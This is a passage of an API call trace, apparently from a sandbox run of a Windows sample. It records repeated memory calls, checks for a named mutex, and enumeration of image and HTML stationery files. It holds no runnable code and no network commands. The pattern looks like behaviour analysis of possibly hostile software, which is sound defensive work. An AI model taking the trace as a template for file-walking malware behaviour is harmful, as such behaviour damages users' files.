(hMem=0x440004) returned 0x550170 [0050.183] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.183] GlobalUnlock (hMem=0x440004) returned 0 [0050.183] GlobalLock (hMem=0x440004) returned 0x550170 [0050.183] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.183] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.183] GlobalUnlock (hMem=0x440004) returned 0 [0050.183] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.183] GlobalUnlock (hMem=0x44000c) returned 0 [0050.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.183] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0050.183] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.183] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.183] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.183] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.183] GlobalUnlock (hMem=0x44000c) returned 0 [0050.183] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.183] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.183] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.183] GlobalUnlock (hMem=0x44000c) returned 0 [0050.184] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.184] GlobalUnlock (hMem=0x440004) returned 0 [0050.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.184] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0050.184] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.184] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.184] GlobalLock (hMem=0x440004) returned 0x550170 [0050.184] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.184] GlobalUnlock (hMem=0x440004) returned 0 [0050.184] GlobalLock (hMem=0x440004) returned 0x550170 [0050.184] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.184] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.184] GlobalUnlock (hMem=0x440004) returned 0 [0050.184] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.184] GlobalUnlock (hMem=0x44000c) returned 0 [0050.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.184] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0050.184] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.184] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.184] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.184] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.184] GlobalUnlock (hMem=0x44000c) returned 0 [0050.184] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.184] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.184] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.184] GlobalUnlock (hMem=0x44000c) returned 0 [0050.184] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.184] GlobalUnlock (hMem=0x440004) returned 0 [0050.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.184] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0050.185] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.185] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.185] GlobalLock (hMem=0x440004) returned 0x550170 [0050.185] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.185] GlobalUnlock (hMem=0x440004) returned 0 [0050.185] GlobalLock (hMem=0x440004) returned 0x550170 [0050.185] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.185] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.185] GlobalUnlock (hMem=0x440004) returned 0 [0050.185] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.185] GlobalUnlock (hMem=0x44000c) returned 0 [0050.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.185] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0050.185] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.185] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.185] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.185] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.185] GlobalUnlock (hMem=0x44000c) returned 0 [0050.185] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.185] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.185] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.185] GlobalUnlock (hMem=0x44000c) returned 0 [0050.185] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.185] GlobalUnlock (hMem=0x440004) returned 0 [0050.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.185] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0050.185] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.185] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.185] GlobalLock (hMem=0x440004) returned 0x550170 [0050.185] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.185] GlobalUnlock (hMem=0x440004) returned 0 [0050.186] GlobalLock (hMem=0x440004) returned 0x550170 [0050.186] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.186] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.186] GlobalUnlock (hMem=0x440004) returned 0 [0050.186] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.186] GlobalUnlock (hMem=0x44000c) returned 0 [0050.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.186] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0050.186] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.186] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.186] GlobalUnlock (hMem=0x44000c) returned 0 [0050.186] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.186] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.186] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.186] GlobalUnlock (hMem=0x44000c) returned 0 [0050.186] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.186] GlobalUnlock (hMem=0x440004) returned 0 [0050.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.186] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0050.186] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.186] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.186] GlobalLock (hMem=0x440004) returned 0x550170 [0050.186] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.186] GlobalUnlock (hMem=0x440004) returned 0 [0050.186] GlobalLock (hMem=0x440004) returned 0x550170 [0050.186] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.186] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.186] GlobalUnlock (hMem=0x440004) returned 0 [0050.186] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.186] GlobalUnlock (hMem=0x44000c) returned 0 [0050.187] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.187] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0050.187] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.187] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.187] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.187] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.187] GlobalUnlock (hMem=0x44000c) returned 0 [0050.187] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.187] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.187] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.187] GlobalUnlock (hMem=0x44000c) returned 0 [0050.187] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.187] GlobalUnlock (hMem=0x440004) returned 0 [0050.187] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.187] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0050.187] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.187] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.187] GlobalLock (hMem=0x440004) returned 0x550170 [0050.187] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.187] GlobalUnlock (hMem=0x440004) returned 0 [0050.187] GlobalLock (hMem=0x440004) returned 0x550170 [0050.187] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.187] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.187] GlobalUnlock (hMem=0x440004) returned 0 [0050.187] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.187] GlobalUnlock (hMem=0x44000c) returned 0 [0050.187] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.187] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0050.188] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.188] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.188] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.188] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.188] GlobalUnlock (hMem=0x44000c) returned 0 [0050.188] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.188] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.188] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.188] GlobalUnlock (hMem=0x44000c) returned 0 [0050.188] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.188] GlobalUnlock (hMem=0x440004) returned 0 [0050.188] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.188] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0050.188] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.188] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.188] GlobalLock (hMem=0x440004) returned 0x550170 [0050.188] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.188] GlobalUnlock (hMem=0x440004) returned 0 [0050.188] GlobalLock (hMem=0x440004) returned 0x550170 [0050.188] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.188] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.188] GlobalUnlock (hMem=0x440004) returned 0 [0050.188] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.188] GlobalUnlock (hMem=0x44000c) returned 0 [0050.188] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.188] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0050.188] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.188] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.188] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.188] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.188] GlobalUnlock (hMem=0x44000c) returned 0 [0050.189] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.189] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.189] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.189] GlobalUnlock (hMem=0x44000c) returned 0 [0050.189] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.189] GlobalUnlock (hMem=0x440004) returned 0 [0050.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.189] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0050.189] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.189] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.189] GlobalLock (hMem=0x440004) returned 0x550170 [0050.189] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.189] GlobalUnlock (hMem=0x440004) returned 0 [0050.189] GlobalLock (hMem=0x440004) returned 0x550170 [0050.189] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.189] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.189] GlobalUnlock (hMem=0x440004) returned 0 [0050.189] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.189] GlobalUnlock (hMem=0x44000c) returned 0 [0050.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.189] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0050.189] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.189] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.189] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.189] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.189] GlobalUnlock (hMem=0x44000c) returned 0 [0050.189] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.189] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.189] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.189] GlobalUnlock (hMem=0x44000c) returned 0 [0050.189] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.189] GlobalUnlock (hMem=0x440004) returned 0 [0050.190] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.190] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0050.190] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.190] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.190] GlobalLock (hMem=0x440004) returned 0x550170 [0050.190] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.190] GlobalUnlock (hMem=0x440004) returned 0 [0050.190] GlobalLock (hMem=0x440004) returned 0x550170 [0050.190] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.190] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.190] GlobalUnlock (hMem=0x440004) returned 0 [0050.190] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.190] GlobalUnlock (hMem=0x44000c) returned 0 [0050.190] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.190] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0050.190] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.190] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.190] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.190] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.190] GlobalUnlock (hMem=0x44000c) returned 0 [0050.190] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.190] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.190] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.190] GlobalUnlock (hMem=0x44000c) returned 0 [0050.190] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.190] GlobalUnlock (hMem=0x440004) returned 0 [0050.190] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.190] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, 